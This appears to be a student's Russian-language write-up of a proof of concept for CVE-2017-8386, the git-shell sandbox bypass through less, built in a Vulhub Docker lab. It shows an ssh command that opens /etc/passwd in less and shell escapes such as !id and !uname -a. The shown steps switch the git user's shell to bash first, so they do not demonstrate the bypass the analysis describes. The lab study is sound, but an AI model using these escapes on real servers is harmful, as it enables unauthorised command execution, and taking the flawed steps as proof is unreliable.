CVE-2017-8386: Обход песочницы git-shell для получения RCE (PoC)

Чон Суджин (@suz1n)

Обзор

Git-shell предоставляет среду, в которой через SSH разрешены только ограниченные git-команды. Однако в определённых версиях git-shell (например, 2.12.2) существует уязвимость (CVE-2017-8386), позволяющая обойти песочницу и выполнить системные команды с помощью команды less.

Данный отчёт описывает проведение PoC для этой уязвимости и обобщает процесс его выполнения.

Настройка окружения

Используемые инструменты и версии

Docker: 24.0.7
Docker-Compose: v2.34.0
ОС хоста: macOS
Целевая ОС: Ubuntu 16.04 (внутри контейнера)
Версия Git: 2.12.2
SSH-сервер

Клонирование репозитория Vulhub

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/

Настройка docker-compose.yml и Dockerfile

• Базовый образ Ubuntu 16.04
• Установка Git 2.12.2 из исходников
• Установка и запуск OpenSSH-сервера
• Настройка окружения git-shell (создание пользователя git)

Сборка и запуск контейнера

docker-compose build

docker-compose up -d

docker ps

• Проверка запуска контейнера (git-shell-cve-2017-8386)

Регистрация SSH-ключа и настройка окружения

1. Создание и копирование id_rsa.pub на локальной машине
2. Подключение к контейнеру и переключение на пользователя git
3. Регистрация authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Установка дополнительных пакетов

apt update

apt install less -y

apt install man-db -y

• Установлены пакеты less и man для выполнения PoC

Процесс PoC

Обычное подключение по SSH

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• Успешный вход в интерфейс less

• Возможно выполнение системных команд через команду !

Выполнение команд (обход песочницы)

• !id -> вывод идентификатора пользователя и группы

• !whoami -> текущий пользователь (git)

• !uname -a -> вывод информации о ядре системы

• !ls /home/git -> вывод списка файлов в домашнем каталоге git

Анализ

• Окружение git-shell ограничивает пользователя, не позволяя выполнять системные команды.
• Однако с помощью команды `git-upload-archive --help` можно внутренне вызвать less.
• Команда less поддерживает выполнение системных команд через функцию !.
• В итоге можно обойти песочницу git-shell и выполнить произвольные команды.

Ссылки

• Блог Insinuator: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Репозиторий Vulhub на GitHub: https://github.com/phith0n/vulhub

Ссылка на GitHub-репозиторий

https://github.com/suz1n/WHS3_vulhub

WHS3_vulhub

Популярное